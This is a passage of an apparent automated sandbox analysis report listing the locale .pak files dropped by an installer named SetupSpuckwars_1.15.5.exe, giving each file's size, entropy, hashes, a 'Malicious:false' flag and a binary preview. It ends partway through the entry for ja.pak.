                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\el.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):729549
                                                                                                                                  Entropy (8bit):4.799528683257041
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:12288:AQbueXYquNw2202pgtZBAujt4NIbsJvaP5A3HRsgQiEYQ3C1gf2ns4CfFnx1Xu2v:B2quNw2202pgtHAujmNrJvaRA3HRsDik
                                                                                                                                  MD5:E66A75680F21CE281995F37099045714
                                                                                                                                  SHA1:D553E80658EE1EEA5B0912DB1ECC4E27B0ED4790
                                                                                                                                  SHA-256:21D1D273124648A435674C7877A98110D997CF6992469C431FE502BBCC02641F
                                                                                                                                  SHA-512:D3757529DD85EF7989D9D4CECF3F7D87C9EB4BEDA965D8E2C87EE23B8BAAEC3FDFF41FD53BA839215A37404B17B8FE2586B123557F09D201B13C7736C736B096
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........U.h.8...i.@...j.J...k.Y...l.d...n.l...o.q...p.~...r.....s.....t.....v.....w.....y.....z.....|.....}........................................... .....'.....(.....).....+.............................&.....O.....~.........................................9.....g.............................1.....H.............................<.....T.....b......................./.....h.....p.........................................+.....].......................t.................................../.....T.....m.......................:.....].....n.................>.........................................".....E.....h.............................#.....&.....'.....C.....].....o.................4...........X.....h...........>.....x.................7.....P.....d.....w......................./.....................................................V.....k... .~...".....%.....(.....*.s...+.v...,.........../.....0.3...1.....3.....4.!...5._...6.....7.....8.=...9.\...;.....<.....=.....>.....?.....@.>...A.~...C...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\en-GB.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):331921
                                                                                                                                  Entropy (8bit):5.529632303060999
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:k6QL0f35ubiwMP9egutWbfaYX2YBB5HXSdBruC:6LduwMetW92M53SuC
                                                                                                                                  MD5:825ED4C70C942939FFB94E77A4593903
                                                                                                                                  SHA1:7A3FAEE9BF4C915B0F116CB90CEC961DDA770468
                                                                                                                                  SHA-256:E11E8DB78AE12F8D735632BA9FD078EC66C83529CB1FD86A31AB401F6F833C16
                                                                                                                                  SHA-512:41325BEC22AF2E5EF8E9B26C48F2DFC95763A249CCB00E608B7096EC6236AB9A955DE7E2340FD9379D09AC2234AEE69AED2A24FE49382FFD48742D72A929C56A
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:............h.....i.....j.....k.....l.....n.....o.#...p.0...r.6...s.G...t.P...v.e...w.r...y.x...z.....|.....}.....................................................................................$.....4.....;.....D.....[.....c.....m.......................................................................&.....A.....S.....b.....|.......................................................................(.....,...../.....5.....E.....T.....b.....{.............................................................................$.....S.....].....i.................................................................0.....@.....P.....e.....z.............................................................................A.....H.....x.............................................................................@.....U.....l............................................. .....".....%.....(.....*.6...+.9...,.W.....h.../.v...0.....1.....3.....4.....5.....6.....7.....8.C...9.P...;.a...<.i...=.t...>.....?.....@.....A...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\en-US.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):334693
                                                                                                                                  Entropy (8bit):5.521172766448584
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:Mvneu710gxhmrunGeuMP9eczCPMfaYbg3In5N+Sqn8BcwS:Ml0gxvNuMbCPmgA5YSNcwS
                                                                                                                                  MD5:19D18F8181A4201D542C7195B1E9FF81
                                                                                                                                  SHA1:7DEBD3CF27BBE200C6A90B34ADACB7394CB5929C
                                                                                                                                  SHA-256:1D20E626444759C2B72AA6E998F14A032408D2B32F957C12EC3ABD52831338FB
                                                                                                                                  SHA-512:AF07E1B08BBF2DD032A5A51A88EE2923650955873753629A086CAD3B1600CE66CA7F9ED31B8CA901C126C10216877B24E123144BB0048F2A1E7757719AAE73F2
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:........&...h.>...i.F...j.R...k.a...l.l...n.t...o.y...p.....r.....s.....t.....v.....w.....y.....z.....|.....}.....................................!.....(...../.....0.....1.....6.....^.....k.....z................................................................. .....0.....G.....K.....V.....f.....m.....y.................................................................C.....V.....Z.....b.....n.....{.............................................................................$.....+.....1.....:.....E.....b.....i.....x.........................................3.....<.....E.....O.....].....p.....s...............................................................................................@.....m...........................................................%.....*...........>.....X.....q.....................................................&......... .2...".;...%.[...(.r...*.....+.....,.........../.....0.....1.....3.....4.)...5.@...6.r...7.....8.....9.....;.....<.....=.....>.....?.....@.....A.!.

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\es-419.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):404903
                                                                                                                                  Entropy (8bit):5.392122812912978
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:3072:75rkwZKG5KJo0ZyFPK9zj4rMY4rjyujd8pyPWncpwwfNEOv553l50GLFddhRIHKj:t1K2YZIK9BYgapFGl5dLFddA7Fcp
                                                                                                                                  MD5:7DA3E8AA47BA35D014E1D2A32982A5BB
                                                                                                                                  SHA1:8E35320B16305AD9F16CB0F4C881A89818CD75BB
                                                                                                                                  SHA-256:7F85673CF80D1E80ACFC94FB7568A8C63DE79A13A1BB6B9D825B7E9F338EF17C
                                                                                                                                  SHA-512:1FCA90888EB067972BCCF74DD5D09BB3FCE2CEB153589495088D5056ED4BDEDE15D54318AF013C2460F0E8B5B1A5C6484ADF0ED84F4B0B3C93130B086DA5C3BF
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........=.h.h...i.q...j.}...k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}. .....(.....-.....5.....=.....E.....L.....S.....Z.....[.....\.....^...........................................................'.....>.....@.....D.....p...........................................................(.....H.....b.....g.....o.........................................#.....9.....N.....T.....W.....].....t...................................@.....P.....V.....^.....e.....x...............................................&.....2.....a.................................................................1.....I....._.....f.....i.....j.....s.....|.............................0.....t.....|.......................3.....B.....\.....m.....x.........................................*.....I............................................. .....".....%.(...(.A...*.]...+.`...,.~........./.....0.....1.....3.....4.3...5.V...6.....7.....8.....9.....;.....<.....=.....>.!...?.+...@.@...A.s...C.....D...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\es.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):404348
                                                                                                                                  Entropy (8bit):5.362527979144936
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:/Q0DA42b4XUx+SCHgfUcp9Ch48BKjbu5mrj7o2oxjm6PZqJ:YK2b40P9pchXgjbu5mrroNSJ
                                                                                                                                  MD5:04A9BA7316DC81766098E238A667DE87
                                                                                                                                  SHA1:24D7EB4388ECDFECADA59C6A791C754181D114DE
                                                                                                                                  SHA-256:7FA148369C64BC59C2832D617357879B095357FE970BAB9E0042175C9BA7CB03
                                                                                                                                  SHA-512:650856B6187DF41A50F9BED29681C19B4502DE6AF8177B47BAD0BF12E86A25E92AA728311310C28041A18E4D9F48EF66D5AD5D977B6662C44B49BFD1DA84522B
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........J.h.N...i.V...j.b...k.q...l.|...n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.........................".....*.....1.....8.....?.....@.....A.....C.....r...........................................................2.....4.....8.....`.................................................................:.....T.....Y.....a.....s...............................................&.....,...../.....5.....L.....k............................. .....0.....6.....>.....E.....X.....e.....v...............................................F.....m.....x.................................................................B.....I.....L.....M.....V....._.....h.....o.......................k.....s.......................).....8.....R.....c.....n.....z.........................................2.....f....................................... .....".....%.....(.!...*.@...+.C...,.a.....{.../.....0.....1.....3.....4.....5."...6.n...7.....8.....9.....;.....<.....=.....>.....?.....@.....A.B...C.i...D.s.

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\et.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):365447
                                                                                                                                  Entropy (8bit):5.471951090286899
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:U/RGRpph+2n4x6i05L9H4h+JbT/R/WiMMn5bjN43qcLQ6PQX:8R6pHnpcmzn5bjh
                                                                                                                                  MD5:CCC71F88984A7788C8D01ADD2252D019
                                                                                                                                  SHA1:6A87752EAC3044792A93599428F31D25DEBEA369
                                                                                                                                  SHA-256:D69489A723B304E305CB1767E6C8DA5D5D1D237E50F6DDC76E941DCB01684944
                                                                                                                                  SHA-512:D35CCD639F2C199862E178A9FAB768D7DB10D5A654BC3BC1FAB45D00CEB35A01119A5B4D199E2DB3C3576F512B108F4A1DF7FAF6624D961C0FC4BCA5AF5F0E07
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........8.h.r...i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|. ...}.2.....:.....?.....G.....O.....W.....^.....e.....l.....m.....n.....p.....................................................+.....b.....x.....z.....~.....................................................3.....C.....U.....k.....x.....~................................................................. .....#.....*.....>.....Q.....c.....|.................................................................(.....3.....?.....f.....s.....................................................1.....4.....D.....T.....c.....x.......................................................................S...................................5.....A.....L.....P.....Z....._.....b.....r...................................3.....M.....R.....Z.....l............... .....".....%.....(.....*.....+.....,.<.....V.../.n...0.{...1.....3.....4.....5.....6.....7.5...8.N...9.a...;.t...<.....=.....>.....?.....@.....A.....C.....D.%.

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\fa.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):591476
                                                                                                                                  Entropy (8bit):5.080621083768775
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:12288:HniDys0XVX9nuyaXTfwIDwNUWGOGfStQvjy1feKtDmrwMTAKzIxRAQiHedNu36Xp:HneM3uyaXTfwewNUWGOGfStQvjy1feKn
                                                                                                                                  MD5:2E37FD4E23A1707A1ECCEA3264508DFF
                                                                                                                                  SHA1:E00E58ED06584B19B18E9D28B1D52DBFC36D70F3
                                                                                                                                  SHA-256:B9EE861E1BDECFFE6A197067905279EA77C180844A793F882C42F2B70541E25E
                                                                                                                                  SHA-512:7C467F434EB0CE8E4A851761AE9BD7A9E292AAB48E8E653E996F8CA598D0EB5E07EC34E2B23E544F3B38439DC3B8E3F7A0DFD6A8E28169AA95CEFF42BF534366
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:........^...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.;...y.A...z.P...|.V...}.h.....p.....u.....}...........................................................'.....Q.....`.....i...................................".....*.....R.....u.........................................Q.....y.........................................(...........................................................K.....l.......................,....._.....z..........................................................._.....v.............................K.....g.....v.........................................(.....I.....a.....~.....................................................F........... .....3.......................*.....B.....c.....k.....~...................................X.....~.................#.....-.....3.....M.....{......... .....".....%.....(.....*.\...+._...,.}........./.....0.....1.....3.....4._...5.....6.....7.)...8.b...9.{...;.....<.....=.....>.....?.....@.....A.E...C.....D.....E...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\fi.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):374471
                                                                                                                                  Entropy (8bit):5.4357475905490436
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:sMeOXrZx5SkDbhCwx+sk/bOE/BanTLLE5lJucHcEJ18OWUczfSUWcX1wR2:snAr15wRBaA5lJxHcEJ18OWUII2
                                                                                                                                  MD5:21E534869B90411B4F9EA9120FFB71C8
                                                                                                                                  SHA1:CC91FFBD19157189E44172392B2752C5F73984C5
                                                                                                                                  SHA-256:2D337924139FFE77804D2742EDA8E58D4E548E65349F827840368E43D567810B
                                                                                                                                  SHA-512:3CA3C0ADAF743F92277452B7BD82DB4CF3F347DE5568A20379D8C9364FF122713BEFD547FBD3096505EC293AE6771ADA4CD3DADAC93CC686129B9E5AACF363BD
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:........k...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.0...t.9...v.N...w.[...y.a...z.p...|.v...}...........................................................................................)...../.....8.....U.....\.....l.........................................".....'.....5.....?.....N.....Z........................................................... .....-.....5.....<.....N.....f.....j.....t.....z.........................................7.....A.....F.....N.....U.....a.....n.....{.............................................../.....Q.....Y.....i.....u......................................................................................... .....'.....6.............................b.....t...........................................................(.....D.....f.....}................................................... .....".2...%.^...(.{...*.....+.....,.........../.....0.....1.:...3.H...4.d...5.~...6.....7.....8.....9.....;.0...<.@...=.L...>.b...?.k...@.....A.....C.....D.....E...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\fil.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):419886
                                                                                                                                  Entropy (8bit):5.213443304857257
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:BnI+f5Qm2xaVyEDQftIK9bSNxeFXGvZ3Omy5GzmHYFAk1s8:C+f541e+b4xy5ym8
                                                                                                                                  MD5:D7DF2EA381F37D6C92E4F18290C6FFE0
                                                                                                                                  SHA1:7CACF08455AA7D68259FCBA647EE3D9AE4C7C5E4
                                                                                                                                  SHA-256:DB4A63FA0D5B2BABA71D4BA0923CAED540099DB6B1D024A0D48C3BE10C9EED5A
                                                                                                                                  SHA-512:96FC028455F1CEA067B3A3DD99D88A19A271144D73DFF352A3E08B57338E513500925787F33495CD744FE4122DFF2D2EE56E60932FC02E04FEED2EC1E0C3533F
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:............h.....i.....j.....k.-...l.8...n.@...o.E...p.R...r.X...s.i...t.r...v.....w.....y.....z.....|.....}.........................................................................).....6.....K.....a.....h.....q.....................................................'.....D.....J.....[.....q.....{...............................................#.....5.....N.....d...........................................................$.....8.....Q.....v.................................................................,.....7.....W.........................................4.....D.....R.....`.....u...............................................-.....4.....7.....8.....B.....L.....V.....a.....j.....{.................T.....\........................................."...../.....9.....?.....X.....~.............................C.....b.....i.....t..................... .....".....%.....(.....*.5...+.8...,.V.....n.../.....0.....1.....3.....4.....5.....6.I...7._...8.{...9.....;.....<.....=.....>.....?.....@.....A.*.

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\fr.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):436450
                                                                                                                                  Entropy (8bit):5.4004782148030905
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:12288:LKi1uIt6QuagV1ZzosmZ7MYnYV1S3Bb5MxlqE0wC5wZLljHnkH0oR5FEu64JGV7h:qVVQ515CF
                                                                                                                                  MD5:3EE48A860ECF45BAFA63C9284DFD63E2
                                                                                                                                  SHA1:1CB51D14964F4DCED8DEA883BF9C4B84A78F8EB6
                                                                                                                                  SHA-256:1923E0EDF1EF6935A4A718E3E2FC9A0A541EA0B4F3B27553802308F9FD4FC807
                                                                                                                                  SHA-512:EB6105FACA13C191FEF0C51C651A406B1DA66326BB5705615770135D834E58DEE9BED82AA36F2DFB0FE020E695C192C224EC76BB5C21A1C716E5F26DFE02F763
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:.........._.h.$...i.5...j.A...k.P...l.[...n.c...o.h...p.u...r.{...s.....t.....v.....w.....y.....z.....|.....}............................................................. .....".....G.....W.....e.....w...........................................................+.....>.....\.....c.....q.........................................#.....?.....A.....T.....h.....t...........................................................+.....=.....N.....r...........................................................(.....G.....O....._.........................................H.....Z.....d.....q.....................................................!.....(.....+.....,.....4.....<.....E.....L....._.................#.....*.....j...........................................................#.....H.....d.......................2.....I.....P.....Y.....j............... .....".....%.....(.....*.....+.....,.-.....D.../.i...0.w...1.....3.....4.....5.....6.Q...7.b...8.z...9.....;.....<.....=.....>.....?.....@.....A.G...C.n...D...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\gu.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):832533
                                                                                                                                  Entropy (8bit):4.370164270379204
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:3072:RqlNvTn1Pdm06M0ITsKMaWZKerbtsMhmksd4Mqz2sQmB51jvjsWnhAgfZw/g/I/f:RuN7n1VQFLFwsL5cqhgrA8
                                                                                                                                  MD5:308619D65B677D99F48B74CCFE060567
                                                                                                                                  SHA1:9F834DF93FD48F4FB4CA30C4058E23288CF7D35E
                                                                                                                                  SHA-256:E40EE4F24839F9E20B48D057BF3216BC58542C2E27CB40B9D2F3F8A1EA5BFBB4
                                                                                                                                  SHA-512:3CA84AD71F00B9F7CC61F3906C51B263F18453FCE11EC6C7F9EDFE2C7D215E3550C336E892BD240A68A6815AF599CC20D60203294F14ADB133145CA01FE4608F
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........T.h.:...i.T...j.`...k.o...l.z...n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}......................... .....(...../.....6.....=.....>.....?.....D.......................0.....E.....[.......................+.....c.....e.....q.......................8.....p...................................Q...................................<.....X.................%.....>.....c...................................*.....U.......................w...............................................g.....v.......................Q.................D.............................%.....O.....R.....r.............................+.....2.....5.....7.....P.....i.......................H...........\.....~...........S.................%.....E.....N.....o.....{.......................O.................;.......................*.....M.....o......... .....".....%.....(.Y...*.....+.....,.........../.1...0.Y...1.....3.....4.....5.;...6.....7.....8.,...9.T...;.....<.....=.....>.....?.....@.0...A.....C...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\he.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):519468
                                                                                                                                  Entropy (8bit):4.6902065244805256
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:12288:iDIJk5rUp/mTLa2/ANNqOL607Af6XVjeQCapb1527oFpMbe54lmdADnwg5Qgx:7205KoM
                                                                                                                                  MD5:FC84EA7DC7B9408D1EEA11BEEB72B296
                                                                                                                                  SHA1:DE9118194952C2D9F614F8E0868FB273DDFAC255
                                                                                                                                  SHA-256:15951767DAFA7BDBEDAC803D842686820DE9C6DF478416F34C476209B19D2D8C
                                                                                                                                  SHA-512:49D13976DDDB6A58C6FDCD9588E243D705D99DC1325C1D9E411A1D68D8EE47314DFCB661D36E2C4963C249A1542F95715F658427810AFCABDF9253AA27EB3B24
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:........|.|.h.....i.....j.....k.....l.!...n.)...o.....p.;...r.A...s.R...t.[...v.p...w.}...y.....z.....|.....}.........................................................................8.....O.....h............................................... .....".....&.....N.....j.........................................B.....[.....p...............................................G.....o.....w...............................................).....E.....y.............................$.....,.....3.....?.....V.....r...................................!.....D.....h...................................7.....W.....Z.....m............................................................................./.................e.....o.......................E.....X.....p.....v.........................................@.....Z...................................#.....J.....U... .g...".....%.....(.....*.....+.....,.......#.../.C...0.P...1.....3.....4.....5.....6.9...7.R...8.g...9.{...;.....<.....=.....>.....?.....@.....A.x...C...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\hi.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):868673
                                                                                                                                  Entropy (8bit):4.359937106090665
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:3072:FugBVdK+X9c+XdfdkhSvf4QAEm5dmGrsUt3GR3GXO7NLdYnLsBPtv83ctKOf4z8d:cuVAsc+NZB5/5MNSD
                                                                                                                                  MD5:B5DFCE8E3BA0AEC2721CC1692B0AD698
                                                                                                                                  SHA1:C5D6FA21A9BA3D526F3E998E3F627AFB8D1EECF3
                                                                                                                                  SHA-256:B1C7FB6909C8A416B513D6DE21EEA0B5A6B13C7F0A94CABD0D9154B5834A5E8B
                                                                                                                                  SHA-512:FACF0A9B81AF6BB35D0FC5E69809D5C986A2C91A166E507784BDAD115644B96697FE504B8D70D9BBB06F0C558F746C085D37E385EEF41F0A1C29729D3D97980F
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:........y...h.....i.....j.....k.....l.....n.#...o.(...p.5...r.;...s.L...t.U...v.j...w.w...y.}...z.....|.....}.........................................................................t...................................A.....d.....~.............................4.....c...................................d.......................l...................................J........... .....9.....H.....p...................................P.......................g.........................................+.....K.......................P.....u.......................l.......................9.....b...................................C.....m...............................................#.....D.................&.....<.................N.................................../.....A.....s...........................................................*.....R.....q... .....".....%.....(.6...*.s...+.v...,.........../.....0.5...1.....3.....4.....5.@...6.....7.....8.:...9._...;.....<.....=.....>.....?.....@.8...A.|...C...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\hr.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):406671
                                                                                                                                  Entropy (8bit):5.521226257186607
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:3072:z9mYpq0ZkIEZgVRTJ3MOS+WG0uPXbG4TT6WI6DkYAiKbeM/wXbnWNjdmvW0IEifp:zTEgNmW/5tE7IDjG
                                                                                                                                  MD5:255F808210DBF995446D10FF436E0946
                                                                                                                                  SHA1:1785D3293595F0B13648FB28AEC6936C48EA3111
                                                                                                                                  SHA-256:4DF972B7F6D81AA7BDC39E2441310A37F746AE5015146B4E434A878D1244375B
                                                                                                                                  SHA-512:8B1A4D487B0782055717B718D58CD21E815B874E2686CDFD2087876B70AE75F9182F783C70BF747CF4CA17A3AFC68517A9DB4C99449FA09BEF658B5E68087F2A
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........<.h.j...i.{...j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.*.....2.....7.....?.....G.....O.....V.....].....d.....e.....f.....h...........................................................:.....K.....M.....Q.....y...........................................................-.....D.....T.....Z.....b.....p.......................................................................&.....8.....H.....].....z...........................................................&.....1.....H.....................................................'.....2.....F.....g.....j.....z...................................................................................`.......................;.....W.....p.....................................................6.....N............................................... .....B.....M... .W...".h...%.....(.....*.....+.....,.........../.....0.....1.O...3.a...4.~...5.....6.....7.....8.....9.0...;.>...<.K...=.W...>.l...?.u...@.....A.....C...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\hu.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):437458
                                                                                                                                  Entropy (8bit):5.655020135928055
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:wxEAuskhSSfm4Cky1tV5z8iZfGRzEY63aQSam7gXOeeeQi5gR7azQtGV52n5ydpS:wxLaj6V5z850+7BwQi5Rn6Z
                                                                                                                                  MD5:2AA0A175DF21583A68176742400C6508
                                                                                                                                  SHA1:3C25BA31C2B698E0C88E7D01B2CC241F0916E79A
                                                                                                                                  SHA-256:B59F932DF822AB1A87E8AAB4BBB7C549DB15899F259F4C50AE28F8D8C7CE1E72
                                                                                                                                  SHA-512:03A16FEB0601407E96BCB43AF9BDB21E5218C2700C9F3CFD5F9690D0B4528F9DC17E4CC690D8C9132D4E0B26D7FAAFD90AA3F5E57237E06FB81AAB7AB77F6C03
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........j.h.....i.....j.)...k.8...l.C...n.K...o.P...p.]...r.c...s.t...t.}...v.....w.....y.....z.....|.....}.........................................................................L.....\.....r...............................................,...........2.....Z.....y.....................................................-.....X.....p.....u.....{.........................................!.....9.....X.....\....._.....m...................................@.....c.................................................................7.....B.....Z.....h.....................................................,.....A.....[.....{.................................................................q...........5.....;...................................#.....+.....9.....A.....G.....^.............................>.....u....................................... .....".....%.5...(.R...*.x...+.{...,.........../.....0.....1.....3.....4.6...5.X...6.....7.....8.....9.....;.....<.....=.....>.(...?.5...@.H...A.p...C.....D...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\id.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):359190
                                                                                                                                  Entropy (8bit):5.384547702191974
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:UINLZJl/dv1DR9S2fjDVnjHFfRmP2x1r856Rh1vtTtSLsEar:Nf7PDuAVnjHFpm+xh856RhP
                                                                                                                                  MD5:B6FCD5160A3A1AE1F65B0540347A13F2
                                                                                                                                  SHA1:4CF37346318EFB67908BBA7380DBAD30229C4D3D
                                                                                                                                  SHA-256:7FD715914E3B0CF2048D4429F3236E0660D5BD5E61623C8FEF9B8E474C2AC313
                                                                                                                                  SHA-512:A8B4A96E8F9A528B2DF3BD1251B72AB14FECCF491DD254A7C6ECBA831DFABA328ADB0FD0B4ACDDB89584F58F94B123E97CAA420F9D7B34131CC51BDBDBF3ED73
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:.........._.h.$...i.5...j.A...k.P...l.[...n.c...o.h...p.u...r.{...s.....t.....v.....w.....y.....z.....|.....}............................................................. .....".....E.....S.....`.....p.....w.................................................................3.....;.....I.....Y.....a.....n.................................................................;.....P.....W.....^.....p.....}...........................................................0.....>.....C.....K.....R.....W.....a.....l...............................................$.....R.....x.................................................................'.....8.....?.....B.....C.....K.....S.....[.....c.....i.....u.............................@.....Q.....a.................................................................%.....:.....T............................................. .....".....%.....(.+...*.D...+.G...,.e.....u.../.....0.....1.....3.....4.....5.....6.5...7.H...8.\...9.i...;.w...<.....=.....>.....?.....@.....A...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\it.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):397402
                                                                                                                                  Entropy (8bit):5.301296912236702
                                                                                                                                  Encrypted:false
                                                                                                                                  SSDEEP:6144:n9BKi2azctogSrqRrhsO11GT9TeLAG3XRU2gY7OfLwH+WcMgB8HryeuRNBPJX9SO:n9FTnzZY28+2vx+0e55zoI
                                                                                                                                  MD5:745F16CA860EE751F70517C299C4AB0E
                                                                                                                                  SHA1:54D933AD839C961DD63A47C92A5B935EEF208119
                                                                                                                                  SHA-256:10E65F42CE01BA19EBF4B074E8B2456213234482EADF443DFAD6105FAF6CDE4C
                                                                                                                                  SHA-512:238343D6C80B82AE900F5ABF4347E542C9EA016D75FB787B93E41E3C9C471AB33F6B4584387E5EE76950424E25486DD74B9901E7F72876960C0916C8B9CEE9A6
                                                                                                                                  Malicious:false
                                                                                                                                  Preview:..........Q.h.@...i.Q...j.]...k.l...l.w...n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}...............................%.....,.....3.....:.....;.....<.....>.....i.....|.......................................................................C.....V.....w.....~.....................................................*...........C.....Y.....o.................................................................0.....D.....f.................................................................*.....2.....@.....v............................................... .....,.....?.....T.....W.....k...................................................................................b.......................:.....O.....d.................................................................K.....k................................................... .....".$...%.H...(.`...*.|...+.....,.........../.....0.....1.....3.(...4.H...5.f...6.....7.....8.....9.....;.....<.....=. ...>.K...?.V...@.g...A.....C.....D...

                                                                                                                                  C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\locales\ja.pak

                                                                                                                                  Download File
                                                                                                                                  Process:C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe
                                                                                                                                  File Type:data
                                                                                                                                  Category:dropped
                                                                                                                                  Size (bytes):484003
                                                                                                                                  Entropy (8bit):5.752575429591325
